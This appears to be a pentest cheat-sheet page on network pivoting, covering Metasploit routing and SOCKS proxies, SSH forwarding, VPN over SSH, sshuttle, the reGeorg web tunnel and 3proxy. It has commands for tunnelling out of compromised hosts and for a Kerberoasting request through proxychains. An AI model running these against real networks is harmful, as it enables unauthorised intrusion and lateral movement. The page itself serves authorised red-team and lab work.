Pivoting

Pivoting is a set of techniques used during red team/pentest engagements which make use of attacker-controlled hosts as logical network hops with the aim of amplifying network visibility.

A good guide for pivoting: https://artkond.com/2017/03/23/pivoting-guide/

https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6

Metasploit

Autoroute

Can be used on a meterpreter shell

add route

use post/multi/manage/autoroute 
msf5 post(multi/manage/autoroute) > show options  
Module options (post/multi/manage/autoroute): 
   Name     Current Setting  Required  Description 
   ----     ---------------  --------  ----------- 
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default) 
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" 
   SESSION                   yes       The session to run this module on. 
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0) 
meterpreter > run autoroute -s 192.73.79.3 
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. 
[!] Example: run post/multi/manage/autoroute OPTION=value [...] 
[*] Adding a route to 192.73.79.3/255.255.255.0... 
[+] Added route to 192.73.79.3/255.255.255.0 via 192.53.57.3 
[*] Use the -p option to list all active routes

print routes 

msf5 post(multi/manage/autoroute) > run 
[!] SESSION may not be compatible with this module. 
[*] Running module against 192.53.57.3 
IPv4 Active Routing Table 
========================= 
   Subnet             Netmask            Gateway 
   ------             -------            ------- 
   192.73.79.3        255.255.255.0      Session 2

Port scan

use auxiliary/scanner/portscan/tcp 
msf5 post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp  
msf5 auxiliary(scanner/portscan/tcp) > show options  
Module options (auxiliary/scanner/portscan/tcp): 
   Name         Current Setting  Required  Description 
   ----         ---------------  --------  ----------- 
   CONCURRENCY  10               yes       The number of concurrent ports to check per host 
   DELAY        0                yes       The delay between connections, per thread, in milliseconds 
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. 
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900) 
   RHOSTS                        yes       The target address range or CIDR identifier 
   THREADS      1                yes       The number of concurrent threads 
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds 
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.73.79.3 
rhosts => 192.73.79.3 
msf5 auxiliary(scanner/portscan/tcp) > set threads 10 
threads => 10 
msf5 auxiliary(scanner/portscan/tcp) > run 
[+] 192.73.79.3:          - 192.73.79.3:139 - TCP OPEN 
[+] 192.73.79.3:          - 192.73.79.3:445 - TCP OPEN 
[*] 192.73.79.3:          - Scanned 1 of 1 hosts (100% complete)

Portfwd

Add port forward

meterpreter > portfwd add –l 3389 –p 3389 –r [target host]

  • add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.

  • -l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.

  • -p 3389 is the destination port on our targeting host.

  • -r [target host] is the our targeted system’s IP or hostname.

Delete

meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]

LIST

meterpreter > portfwd list

Socks Proxy

Create a sock proxy

msf > use auxiliary/server/socks4a 
msf auxiliary(server/socks4a) > options 
Module options (auxiliary/server/socks4a): 
Name     Current Setting  Required  Description 
   ----     ---------------  --------  ----------- 
   SRVHOST  0.0.0.0          yes       The address to listen on 
   SRVPORT  1080             yes       The port to listen on. 
Auxiliary action: 
Name   Description 
   ----   ----------- 
   Proxy 
msf auxiliary(server/socks4a) > run 
[*] Auxiliary module running as background job 0. 
[*] Starting the socks4a proxy server 
msf auxiliary(server/socks4a) > route add 10.10.10.103 255.255.255.255 1

check /etc/proxychains.conf

strict_chain 
proxy_dns  
tcp_read_time_out 15000 
tcp_connect_time_out 8000 
[ProxyList] 
socks4  127.0.0.1 1080

use proxcychain

root@kali# proxychains GetUserSPNs.py -request -dc-ip 10.10.10.103 htb.local/amanda

SSH

Once you ssh'd into a machine press '~' and press C (capital C) 

dave@ubuntu:/tmp$  ~C 
ssh> help 
Commands: 
-L[bind_address:]port:host:hostport    Request local forward 
-R[bind_address:]port:host:hostport    Request remote forward 
-D[bind_address:]port                  Request dynamic forward 
-KL[bind_address:]port                 Cancel local forward 
-KR[bind_address:]port                 Cancel remote forward 
-KD[bind_address:]port                 Cancel dynamic forward

Example:

dave@ubuntu:/tmp$ssh> -L 8001:192.168.122.4:80 Forwarding port.

  • then we will forward 192.168.122.4:80 to the local port 8001 (on our KALI machine! - this is due to has ssh'd into the intermedia machine)

Results in: 

root@kali:# curl localhost:8001 
<h1> Welcome to the Sparklays DNS Server </h1> 
<p> 
<a href="dns-config.php">Click here to modify your DNS Settings</a><br> 
<a href="vpnconfig.php">Click here to test your VPN Configuration</a>

Local port forwarding

ssh -L 1337:10.0.0.2:80 root@10.0.0.1

  • Proxy traffic to 10.0.0.2:80 on local port 1337 by creating a proxy on 10.0.0.1

Remote port forwarding

Here our operator managed to get SSH access to the same compromised host, but this time we need the server to route a reverse shell he executed on the target back to us.

The syntax to make this happen is the following:

ssh -R sshGatewayIp:sshGatewayPort:localIp:localPort user@sshGateway

With:

  • -R being the option to instruct SSH to instantiate a remote port forwarding tunnel

  • sshGatewayIp being the IP address of the SSH server that will route the traffic

  • sshGatewayPort being the port of the SSH server that will receive the traffic that needs to be routed

  • localIp being IP address to which the traffic will be routed. Most of the times it’s going to be the operator’s one

  • localPort being the port to which the traffic will be routed. Most of the times it’s going to be the operator’s listener’s port

  • user being the user he has the credential of

  • sshGateway being the device the operator has SSH access to

NOTE: The directive "GatewayPorts clientspecified" MUST be present inside the server's /etc/ssh/sshd_config otherwise the SSH server is going to listen for connection on 127.0.0.1, thus making the tunnel useless. Make sure this directive is present inside the config, otherwise add it (needs root privileges) and make sure to restart the SSH server!

For example, on the compromised host COMP1 we will connect to our redirector (RED1) which is internet accessible , and use the new ssh tunnel to connect to COMP1 from our local network.

  1. Use the SSH client on COMP1

  2. Create a Remote port forward tunnel from the remote host, RED1, to the source host, COMP1

  3. On the remote host, RED1, listen on the bind_address, 127.0.0.1, on port 2222

  4. Forward the connection from the remote host, RED1, to the SSH service that is already listening on the source host, COMP1, host loopback adapter 127.0.0.1 on hostport 22

  5. The SSH client should connect to COMP1 and login as rastley

Once a SSH tunnel has been established between the compromised host to the internet host, an operator can now use it to connect to the SSH server on the source host,

  1. Use the SSH client on RED1

  2. Establish a SSH connection to port 2222

  3. The SSH client should connect to the loopback adapter (127.0.0.1), which is forwarded through the previously created SSH tunnel to COMP1, and login as the user hpotter, a valid user account on COMP1

Dynamic port forwarding

The last kind of port forwarding SSH provides is called dynamic port forwarding. This technique is kinda similar to local port forwarding, but instead of specifying a single host/port pair to which traffic will be routed, it’s the SSH gateway which gets to decide where to route the traffic. That means if you send a packet to a host in the same subnet of the SSH server, this one is going to automatically route it to the destination you specified, provided you have instructed your OS to proxy traffic through the SSH gateway. Its syntax is like this:

ssh -D localPort user@sshGateway

This technique is really useful but it has a huge downside: it often messes up the traffic and interferes with tools like nmap.

VPN Over ssh

Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic. So, for example, you are able to perform SYN-scan with nmap and use your tools directly without resorting to proxychains or other proxifying tools. It’s done via the creation of tun devices on client and server side and transferring the data between them over ssh connection. This is quite simple, but you need root on both machines since the creation of tun devices is a privileged operation. These lines should be present in your /etc/ssh/sshd_config file (server-side): 

PermitRootLogin yes 
PermitTunnel yes

The following command on the client will create a pair of tun devices on client and server:

ssh username@server -w any:any

The flag -w accepts the number of tun device on each side separated with a colon. It can be set explicitly - -w 0:0 or you can use -w any:any syntax to take the next available tun device.

The tunnel between the tun devices is enabled but the interfaces are yet to be configured. Example of configuring client-side:

ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

Server-side:

ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Enable ip forwarding and NAT on the server: 

echo 1 > /proc/sys/net/ipv4/ip_forward 
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Now you can make the peer host 1.1.1.1 your default gateway or route a specific host/network through it:

route add -net 10.0.0.0/16 gw 1.1.1.1

In this example the server’s external network interface is eth0 and the newly created tun devices on both sides are tun0.

Credit: https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh

sshuttle

Link: https://github.com/sshuttle/sshuttle

Scanning networks through a SSH gateway using dynamic port forwarding is a huge PITA most of the times. While searching for a solution to this during my time in the lab I came across SSHuttle. This tool creates a tun interface on the operator’s machine (much like a VPN) and then sets rules to forward traffic for the specified subnet through the tun interface. The cool thing about it is that it does not need root access to the SSH gateway (only on the operator machine).

Its syntax is the following:

sshuttle -r user@sshGateway network/netmask

In the previous scenario the command to spawn a tun interface with SSHuttle and route traffic to the subnet would have been:

sshuttle -r root@10.0.0.1 10.0.0.0/24

reGeorge

Link: https://github.com/sensepost/reGeorg

The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Usage 

$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u  [-v] 
Socks server for reGeorg HTTP(s) tunneller 
optional arguments: 
  -h, --help           show this help message and exit 
  -l , --listen-on     The default listening address 
  -p , --listen-port   The default listening port 
  -r , --read-buff     Local read buffer, max data to be sent per POST 
  -u , --url           The url containing the tunnel script 
  -v , --verbose       Verbose output[INFO|DEBUG]

Steps:

  1. Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)

  2. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py

Example: 

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
 
reGeorg will create a proxy tunnel on 8080, so we can use proxychain 
proxychains nmap -sT -Pn 192.139.6.3

3proxy

This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which is not a rocket science, just ./configure && make :) This tool is a swiss army knife in the proxy world so it has a ton of functionality. I usually use it either as a socks proxy or as a port forwarder.

Link: https://github.com/z3APA3A/3proxy

Credit: https://artkond.com/2017/03/23/pivoting-guide/#3proxy

SSH reverse port forwarding /w 3proxy

This pivoting setup looks something like this:

Run 3proxy service with the following config on the target server:

socks -p31337

Create a separate user on the receiving side (attacker’s machine).

adduser sshproxy

This user has to be low-privileged and shouldn’t have shell privileges. After all, you don’t want to get reverse pentested, do ya? :) Edit /etc/passwd and switch shell to /bin/false. It should look like:

sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false Now connect to your server with the newly created user with -R flag. Linux system:

ssh sshproxy@your_server -R 31337:127.0.0.1:31337

For windows you will need to upload plink.exe first. This is a console version of putty. To run it:

plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337

The -R flag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (compromised machine) and access this port on the attacker’s host via ssh -R flag.

ICMP Tunnel

Use http://code.gerade.org/hans/

DNS Tunnel

PreviousWindowsNextAdding routes

Last updated